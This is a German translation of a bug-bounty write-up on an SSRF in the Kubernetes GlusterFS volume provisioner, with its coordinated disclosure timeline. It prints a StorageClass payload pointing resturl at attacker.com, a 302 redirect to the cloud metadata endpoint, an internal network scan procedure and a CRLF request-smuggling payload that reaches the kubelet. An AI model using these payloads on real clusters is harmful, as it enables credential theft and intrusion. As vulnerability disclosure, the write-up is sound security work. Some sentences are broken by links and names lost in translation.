Hinweis.: Die Autoren dieses Artikels schildern im Detail, wie sie eine Schwachstelle entdeckt haben in Kubernetes. Obwohl sie anfangs nicht als besonders gefährlich schien, zeigte sich ihre Kritikalität in Kombination mit anderen Faktoren bei einigen Cloud-Anbietern als maximal. Für die geleistete Arbeit wurden die Spezialisten von mehreren Organisationen großzügig belohnt.

Wer wir sind
Wir sind zwei französische Sicherheitsexperten, die gemeinsam eine Schwachstelle in Kubernetes entdeckt haben. Wir heißen Brice Augras und Christophe Hauquiert, aber auf vielen Bug-Bounty-Plattformen sind wir als Reeverzax und Hach bekannt:
- — ;
- — Kubernetes-Architekt bei Nokia.
Was ist passiert?
Dieser Artikel ist unsere Art, zu erzählen, wie ein gewöhnliches Forschungsprojekt unerwartet zum spannendsten Abenteuer im Leben eines Bugbounty-Hackers wurde (zumindest bisher).
Wie Sie wahrscheinlich wissen, haben Bugbounty-Hacker ein paar bemerkenswerte Besonderheiten:
- Sie leben von Pizza und Bier;
- Sie arbeiten, wenn alle anderen schlafen.
Wir sind keine Ausnahme von dieser Regel: Normalerweise treffen wir uns am Wochenende und verbringen schlaflose Nächte mit Hacking. Doch eine dieser Nächte endete auf ziemlich ungewöhnliche Weise.
Anfangs hatten wir uns getroffen, um über die Teilnahme an am nächsten Tag zu sprechen. Während des Gesprächs über die Sicherheit von Kubernetes in einer verwalteten Serviceumgebung erinnerte man sich an eine alte Idee, das SSRF () und entschloss sich, sie als Angriffszenario zu verwenden.
Um 23 Uhr setzten wir uns mit der Recherche auseinander und gingen früh morgens zufrieden mit den Ergebnissen ins Bett. Aufgrund dieser Forschungen stießen wir auf das MSRC Bug Bounty-Programm und entwickelten einen Exploit zur Privilegieneskalation.
Es vergingen Wochen/Monate, und unser unerwartetes Ergebnis führte dazu, dass wir eine der höchsten Auszeichnungen in der Geschichte des Azure Cloud Bug Bounty erhielten — zusätzlich zu der, die wir von Kubernetes bekommen haben!
In Anlehnung an unser Forschungsprojekt veröffentlichte das Kubernetes Product Security Committee .
Jetzt möchten wir so viele Informationen wie möglich über die entdeckte Schwachstelle verbreiten. Wir hoffen, dass Sie die Entdeckung zu schätzen wissen und technische Details mit anderen Mitgliedern der Infosec-Community teilen!
Hier ist unsere Geschichte…
Kontext
Um das Geschehene vollständig zu erklären, lassen Sie uns zunächst betrachten, wie Kubernetes in einer verwalteten Cloud-Umgebung funktioniert.
Wenn Sie eine Instanz eines Kubernetes-Clusters in einer solchen Umgebung erstellen, wird die Verwaltungsschicht normalerweise vom Cloud-Anbieter gesteuert:

Die Verwaltungsschicht befindet sich im Perimeter des Cloud-Anbieters, während die Kubernetes-Knoten im Perimeter des Kunden angesiedelt sind.
Zur dynamischen Bereitstellung von Volumen wird ein Mechanismus verwendet, der die dynamische Bereitstellung aus einem externen Storage-Backend und die Zuordnung zu PVC (Persistent Volume Claim) ermöglicht.
Sobald also das PVC erstellt und an die StorageClass im K8s-Cluster gebunden ist, übernimmt der kube/cloud controller manager (sein genaues Wortlaut hängt von der Version ab) die weiteren Schritte zur Bereitstellung des Volumens. (Hinweis.: Mehr über den CCM am Beispiel seiner Implementierung für einen der Cloud-Anbieter haben wir bereits geschrieben. .)
Es gibt mehrere Arten von Provisionern, die von Kubernetes unterstützt werden: Die meisten sind im , während andere von zusätzlichen Provisionern verwaltet werden, die in Pods im Cluster gehostet werden.
In unserer Untersuchung haben wir uns auf den internen Mechanismus zur Bereitstellung von Volumes konzentriert, der wie folgt dargestellt ist:

Dynamische Bereitstellung von Volumes unter Verwendung des integrierten Provisioners von Kubernetes
Kurz gesagt, wenn Kubernetes in einer verwalteten Umgebung bereitgestellt wird, ist der Cloud-Diensteanbieter für den Betrieb des Controller Managers verantwortlich, aber die Anforderung zur Erstellung eines Volumes (Nummer 3 im obigen Diagramm) verlässt die Grenzen des internen Netzwerks des Cloud-Anbieters. Hier wird die Situation wirklich spannend!
Szenario des Angriffs
In diesem Abschnitt werden wir erläutern, wie wir den oben genannten Workflow genutzt haben, um auf interne Ressourcen des Cloud-Dienstleisters zuzugreifen. Zudem wird aufgezeigt, wie bestimmte Aktionen durchgeführt werden können – beispielsweise den Zugriff auf interne Anmeldeinformationen oder die Eskalation von Berechtigungen.
Eine einfache Manipulation (in diesem Fall handelt es sich um eine Service Side Request Forgery) ermöglichte den Zugriff außerhalb der Kundenumgebung in den Clustern verschiedener Anbieter von verwaltetem K8s.
In unseren Untersuchungen konzentrierten wir uns auf den Provisioner GlusterFS. Obwohl die nachfolgenden Schritte in diesem Kontext beschrieben werden, sind diese gleichen Schwachstellen auch bei Quobyte, StorageOS und ScaleIO vorhanden.

Missbrauch des Mechanismus zur dynamischen Bereitstellung von Volumes
Während der Analyse der Speicherklassen GlusterFS im Client-Code in Golang haben wir , dass beim ersten HTTP-Anfrage (3), die während der Erstellung des Volumes gesendet wird, am Ende der Benutzer-URL im Parameter resturl hinzugefügt wird /volumes.
Um diesen zusätzlichen Pfad zu beseitigen, haben wir ihn durch die Hinzufügung von # zum Parameter resturl. Hier ist die erste YAML-Konfiguration, die wir für den Test auf die "semi-blind" SSRF-Schwachstelle verwendet haben (mehr über semi-blind oder half-blind SSRF kann man unter anderem lesen, — Anmerkung des Übersetzers).:
apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: poc-ssrf
spec:
accessModes:
- ReadWriteOnce
volumeMode: Filesystem
resources:
requests:
storage: 8Gi
storageClassName: poc-ssrfAnschließend haben wir den Binärdienst für das Remote-Management des Kubernetes-Clusters verwendet. kubectlIn der Regel ermöglichen Cloud-Anbieter (wie Azure, Google, AWS usw.) den Zugriff auf Anmeldeinformationen für die Nutzung in diesem Dienstprogramm.
Dank dieser Möglichkeit konnten wir unsere "besonderen" Dateien verwenden. Der Kube-controller-manager hat die resultierende HTTP-Anfrage ausgeführt:
kubectl create -f sc-poc.yaml 
Antwort aus der Sicht des Angreifers
Kurz darauf erhielten wir auch eine HTTP-Antwort vom Zielserver — über die Befehle describe pvc oder get events in kubectl. Tatsächlich ist dieser Kubernetes-Treiber standardmäßig in seinen Warnungen/Fehlermeldungen viel zu gesprächig...
Hier ist ein Beispiel mit einem Link zur https://www.google.frin Form eines Parameters resturl:
kubectl describe pvc poc-ssrf
# alternativ können Sie kubectl get events verwenden. 
Im Rahmen dieses Ansatzes waren wir auf Anfragen des Typs HTTP POST beschränkt und konnten den Inhalt des Antwortkörpers nicht abrufen, wenn der Rückgabecode war 201. Daher entschieden wir uns, weitere Untersuchungen durchzuführen und unseren Exploit-Ansatz mit neuen Methoden zu erweitern.
Die Evolution unserer Forschungen
- Fortgeschrittenes Szenario Nr. 1: Verwendung einer 302-Umleitung von einem externen Server zur Änderung der HTTP-Methode, um eine flexiblere Methode zur Erfassung interner Daten zu erhalten.
- Fortgeschrittenes Szenario Nr. 2: Automatisierung des Scannens des LANs und Entdeckung interner Ressourcen.
- Fortgeschrittenes Szenario Nr. 3: Verwendung von HTTP CRLF + Smuggling („Schmuggeln“ von Anfragen), um maßgeschneiderte HTTP-Anfragen zu erstellen und Daten aus den Protokollen des kube-controllers zu extrahieren.
Technische Spezifikationen
- In den Untersuchungen wurde Azure Kubernetes Service (AKS) mit Kubernetes Version 1.12 in der Region Nordeuropa verwendet.
- Die oben beschriebenen Szenarien wurden auf den neuesten Versionen von Kubernetes ausgeführt, mit Ausnahme des dritten Szenarios, da dieses Kubernetes benötigt, das mit Golang Version ≤ 1.12 kompiliert wurde.
- Externer Server des Angreifers —
https://attacker.com.
Fortgeschrittenes Szenario Nr. 1: Umleitung einer HTTP POST-Anfrage zu GET und Erhalt sensibler Daten
Die ursprüngliche Methode wurde durch die Konfiguration des Angreifer Servers optimiert, um zurückzugeben 302 HTTP Retcode, um die POST-Anfrage in eine GET-Anfrage zu konvertieren (Schritt 4 im Diagramm):

Die erste Anfrage (3), die vom Client ausgeht GlusterFS (Controller-Manager), hat den Typ POST. Durch die folgenden Schritte konnten wir sie in GET umwandeln:
- Als Parameter
resturlIn der StorageClass wird angegebenhttp://attacker.com/redirect.php. - Endpunkt
https://attacker.com/redirect.phpantwortet mit dem HTTP-Statuscode 302 und dem folgenden Location-Header:http://169.254.169.254. Dies kann jede andere interne Ressource sein – in diesem Fall wird der Redirect-Link lediglich als Beispiel verwendet. - Standardmäßig die Bibliothek net/http von Golang leitet die Anfrage um und konvertiert POST in GET mit dem 302-Statuscode, sodass an die Zielressource eine HTTP-GET-Anfrage gesendet wird.
Um den Body der HTTP-Antwort zu lesen, müssen Sie describe des PVC-Objekts:
kubectl describe pvc xxxHier ist ein Beispiel für eine HTTP-Antwort im JSON-Format, die wir erhalten konnten:

Die Möglichkeiten der gefundenen Schwachstelle waren zu diesem Zeitpunkt wegen folgender Punkte eingeschränkt:
- Die Unfähigkeit, HTTP-Header in die ausgehende Anfrage einzufügen.
- Die Unfähigkeit, einen POST-Request mit Parametern im Body auszuführen (so ist es praktisch, den Wert des Schlüssels von einer etcd-Instanz abzufragen, die auf 2379 dem Port läuft, wenn unverschlüsseltes HTTP verwendet wird).
- Die Unfähigkeit, den Inhalt des Antwortbodys zu erhalten, wenn der Statuscode 200 war und die Antwort keinen JSON-Content-Type hatte.
Erweiterte Vorgehensweise Nr. 2: Scannen des lokalen Netzwerks
Diese Methode des halb-blinden SSRF wurde anschließend verwendet, um das interne Netzwerk des Cloud-Service-Anbieters zu scannen und verschiedene lauschernde Dienste (z. B. Metadata, Kubelet, etcd usw.) basierend auf den Antworten abzufragen. des Kube-Controllers.

Zunächst wurden die Standardlauscherports der Kubernetes-Komponenten (8443, 10250, 10251 usw.) identifiziert, und anschließend musste der Scanprozess automatisiert werden.
Da wir festgestellt haben, dass diese Art des Scannens von Ressourcen sehr spezifisch ist und nicht mit klassischen Scannern und SSRF-Tools kompatibel ist, haben wir beschlossen, eigene Worker in einem Bash-Skript zu erstellen, die den gesamten Prozess automatisieren.
Um den Bereich 172.16.0.0/12 des internen Netzwerks schneller zu scannen, wurden parallel 15 Worker gestartet. Das obige IP-Segment wurde lediglich als Beispiel ausgewählt und kann durch den IP-Bereich eines bestimmten Dienstanbieters ersetzt werden.
Um eine IP-Adresse und einen Port zu scannen, muss Folgendes durchgeführt werden:
- die zuletzt überprüfte StorageClass entfernen;
- den zuvor überprüften Persistent Volume Claim löschen;
- die Werte für IP und Port in
sc.yaml; - eine StorageClass mit der neuen IP und dem neuen Port erstellen;
- einen neuen PVC erstellen;
- Extrahieren Sie Scanergebnisse mithilfe von describe für PVC.
Erweitertes Szenario Nr. 3: CRLF-Injektion + HTTP-Smuggling in „älteren“ Versionen des Kubernetes-Clusters.
Wenn der Anbieter den Kunden zusätzlich alte Versionen des K8s-Clusters anbot, und und ihnen Zugang zu den Protokollen des kube-controller-managers gewährte, wurde der Effekt noch deutlicher.
Für den Angreifer ist es tatsächlich viel einfacher, HTTP-Anfragen nach Belieben zu modifizieren, um die vollständige HTTP-Antwort zu erhalten.

Für die Umsetzung des letzten Szenarios mussten folgende Bedingungen erfüllt sein:
- Der Benutzer muss Zugang zu den Protokollen des kube-controller-managers haben (wie z. B. in Azure LogInsights).
- Der Kubernetes-Cluster muss eine Golang-Version unter 1.12 verwenden.
Wir haben eine lokale Umgebung bereitgestellt, die den Datenaustausch zwischen dem Go-Client GlusterFS und einem gefälschten Zielserver simuliert (wir verzichten vorerst auf die Veröffentlichung des PoC).
Es wurde entdeckt , die Versionen von Golang unter 1.12 betrifft und Hackern HTTP-Smuggling/CRLF-Angriffe ermöglicht.
Indem wir den oben beschriebenen halb-blinden SSRF kombinierten. Dank dieser Möglichkeit konnten wir Anfragen nach Belieben senden, einschließlich der Anpassung von Headers, HTTP-Methoden, Parametern und Daten, die der kube-controller-manager dann verarbeitet hat.
Hier ist ein Beispiel für einen funktionierenden "Hook" im Parameter resturl des StorageClass, der ein solches Angriffsszenario umsetzt:
http://172.31.X.1:10255/healthz? HTTP/1.1
Connection: keep-alive
Host: 172.31.X.1:10255
Content-Length: 1
1
GET /pods? HTTP/1.1
Host: 172.31.X.1:10255Dies führt zu einem Fehler unsolicited response, dessen Meldung in die Logs des Controllers geschrieben wird. Aufgrund der standardmäßig aktivierten "Verbose"-Eigenschaft wird dort auch der Inhalt der HTTP-Antwort gespeichert.
![]()
Das war unser erfolgreichster "Hook" im Rahmen des Proof of Concept.
Durch diesen Ansatz konnten wir einige der folgenden Angriffe in Clustern verschiedener Managed-Kubernetes-Anbieter durchführen: Privilegieneskalation zur Erlangung von Anmeldeinformationen auf Metadata-Instanzen, DoS-Angriffe auf den Master durch (unverschlüsselte) HTTP-Anfragen an Master-Instanzen von etcd usw.
Folgen
In der offiziellen Erklärung von Kubernetes zur von uns entdeckten SSRF-Sicherheitsanfälligkeit wurde ihr eine Bewertung von CVSS 6.3/10 zugewiesen.: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. Wenn man nur die Sicherheitsanfälligkeit im Zusammenhang mit dem Kubernetes-Papier betrachtet, wird der Integritätsvektor (Integritätsvektor) darin als None.
Die Bewertung der potenziellen Auswirkungen im Kontext einer verwalteten Serviceumgebung (und das war der interessanteste Teil unserer Untersuchung!) hat uns jedoch dazu veranlasst, die Schwachstelle auf die Bewertung Kritisch CVSS10/10 für viele Anbieter neu zu klassifizieren.
Im Folgenden finden Sie zusätzliche Informationen, die helfen, zu verstehen, auf welcher Grundlage wir die potenziellen Auswirkungen in Cloud-Umgebungen bewertet haben:
Integrität
- Remote-Code-Ausführung mit erlangten internen Anmeldedaten.
- Wiedergabe des oben beschriebenen Szenarios durch IDOR (Insecure Direct Object Reference, d.h. unsichere direkte Objektverweise) mit anderen in der lokalen Umgebung gefundenen Ressourcen.
Vertraulichkeit
- Die Art des Angriffs dank des Diebstahls von Cloud-Anmeldeinformationen (z.B. Metadata API).
- Informationsbeschaffung durch Scannen des lokalen Netzwerks (Ermittlung der SSH-Version, der HTTP-Server-Version, ...).
- Informationsbeschaffung über Instanzen und Infrastruktur durch Abfragen interner APIs wie Metadata API (
http://169.254.169.254, …). - Die Kunden-Daten sollten durch Cloud-Anmeldedaten geschützt werden.
Verfügbarkeit
Alle Anwendungsszenarien von Exploits, die mit Angriffspunkten verbunden sind, integrity (Integrität), können für destruktive Aktionen genutzt werden und dazu führen, dass Master-Instanzen aus dem Kundenperimeter (oder von anderen) nicht mehr erreichbar sind.
Da wir uns in einer verwalteten K8s-Umgebung befanden und die Auswirkungen auf die Integrität bewerteten, lässt sich eine Vielzahl von Szenarien vorstellen, die die Verfügbarkeit beeinträchtigen könnten. Zu weiteren Beispielen zählen Beschädigungen der etcd-Datenbank oder das Ausführen eines kritischen API-Aufrufs an Kubernetes.
Chronologie
- 6. Dezember 2019: Meldung einer entdeckten Schwachstelle an das MSRC Bug Bounty.
- 3. Januar 2020: Ein Dritter informierte die Entwickler von Kubernetes darüber, dass wir an einem Sicherheitsproblem arbeiten. Er bat darum, SSRF als interne (in-core) Schwachstelle zu betrachten. Anschließend präsentierten wir einen umfassenden Bericht mit technischen Details zur Quelle des Problems.
- 15. Januar 2020: Auf Anfrage der Kubernetes-Entwickler haben wir technische und allgemeine Berichte über die Plattform HackerOne bereitgestellt.
- 15. Januar 2020: Die Entwickler von Kubernetes haben uns darüber informiert, dass die half-blind SSRF + CRLF-Injektion in früheren Versionen als in-core-Sicherheitsanfälligkeit eingestuft wird. Wir haben sofort die Analyse der Grenzen anderer Anbieter eingestellt: Das Problem wird nun vom K8s-Team bearbeitet.
- 15. Januar 2020: Belohnung durch MSRC über HackerOne erhalten.
- 16. Januar 2020: Das Kubernetes PSC (Product Security Committee) hat die Sicherheitsanfälligkeit anerkannt und gebeten, diese bis Mitte März geheim zu halten, aufgrund der hohen Zahl potenzieller Opfer.
- 11. Februar 2020: Belohnung von Google VRP erhalten.
- 4. März 2020: Belohnung von Kubernetes über HackerOne erhalten.
- 15. März 2020: Die ursprünglich geplante öffentliche Bekanntgabe wurde aufgrund der COVID-19-Situation verschoben.
- 1. Juni 2020: Gemeinsame Erklärung von Kubernetes + Microsoft zur Sicherheitsanfälligkeit.
TL;DR
- Wir trinken Bier und essen Pizza 🙂
- Wir haben eine in-core-Sicherheitsanfälligkeit in Kubernetes entdeckt, obwohl wir das nicht geplant hatten.
- Wir haben eine zusätzliche Analyse in den Clustern verschiedener Cloud-Anbieter durchgeführt und konnten den durch die Sicherheitsanfälligkeit verursachten Schaden erhöhen, um zusätzliche großartige Boni zu erhalten.
- In diesem Artikel finden Sie zahlreiche technische Einzelheiten. Wir freuen uns darauf, diese mit Ihnen zu besprechen (Twitter: & ).
- Es stellte sich heraus, dass die ganzen Formalitäten und die Erstellung von Berichten viel mehr Zeit in Anspruch nehmen als erwartet.
Links
- ;
- ;
- ;
- .
P.S. vom Übersetzer
Lesen Sie auch in unserem Blog:
- «»;
- «»;
- «».
Quelle: habr.com
